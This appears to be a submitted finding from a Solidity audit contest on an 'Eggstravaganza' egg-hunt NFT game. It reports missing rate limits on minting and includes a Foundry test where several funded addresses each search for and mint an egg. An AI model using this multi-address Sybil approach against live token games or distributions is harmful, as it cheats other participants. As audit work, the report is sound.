Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

Lack of Rate limit flaw while minting egg leads to unfair NFT distribution and Sybil Attack

Summary

The mint function in EggstravaganzaNFT contract does not do proper checks for rate limit which makes player mint excessive number of NFTs through multiple addresses and provide unfair advantage to the Game logic.

Vulnerability Details

As we can see the below function mintEgg just checks for the authorized caller i.e. gameContract and does not have any rate limits for how many times in a session the particular function can be called which gives unfair advantage to the player while searching for egg.

function mintEgg(address to, uint256 tokenId) external returns (bool) {
require(msg.sender == gameContract, "Unauthorized minter");
_mint(to, tokenId);
totalSupply += 1;
return true;
}

Impact

As there are no further checks done in mintEgg function an attacker could call the searchforEgg function with multiple addresses and increase their chances of finding an egg which eventually triggers the mintEgg function to mint excessive number of eggs as there is no further checks done or any rate limit implemented to avoid this. Below is the test done to show how multiple addresses at a time are able to search for egg and mint them.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import {EggstravaganzaNFT} from "../src/EggstravaganzaNFT.sol";
import {EggHuntGame} from "../src/EggHuntGame.sol";
import {EggVault} from "../src/EggVault.sol";
contract SybilAttackTest is Test {
EggstravaganzaNFT public eggNFT;
EggHuntGame public eggHuntGame;
EggVault public eggVault;
address public owner;
address[] public maliciousPlayers;
function setUp() public {
// Deploy contracts
eggNFT = new EggstravaganzaNFT("Eggstravaganza", "EGG");
eggVault = new EggVault();
eggHuntGame = new EggHuntGame(address(eggNFT), address(eggVault));
// Set up owner
owner = address(this);
// Allow the game contract to mint NFTs
eggNFT.setGameContract(address(eggHuntGame));
eggVault.setEggNFT(address(eggNFT));
// Create and fund multiple malicious players
for (uint256 i = 0; i < 5; i++) {
address player = makeAddr(string(abi.encodePacked("player", vm.toString(i))));
maliciousPlayers.push(player);
deal(player, 1 ether); // Give each player 1 ETH
}
// Start the game
eggHuntGame.startGame(60);
// Set threshold high to ensure 100% chance of finding an egg
// This is to simulate a Sybil attack where players can mint multiple NFTs
eggHuntGame.setEggFindThreshold(100); // 100% chance
}
function testSybilAttack() public {
console.log("Starting Sybil attack test");
for (uint256 i = 0; i < maliciousPlayers.length; i++) {
address player = maliciousPlayers[i];
vm.startPrank(player);
console.log("\n--- Player", player, "attempting to mint ---");
eggHuntGame.searchForEgg();
uint256 balance = eggNFT.balanceOf(player);
console.log("NFT balance:", balance);
assertEq(balance, 1, "Player should have exactly 1 NFT");
vm.stopPrank();
}
}
}

Tools Used

Manual testing

Recommendations

To prevent this we can implement Time-lock minting/Cooldown mechanism for each game session so that the players do not abuse the function with multiple addresses at a time and increase their chances of finding an egg giving unfair disadvantage to other players and disrupting the game logic.

Updates

Lead Judging Commences

m3dython Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

No rate limiting

Contract lacks any cooldown mechanism, search limits, or costs in the searchForEgg() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.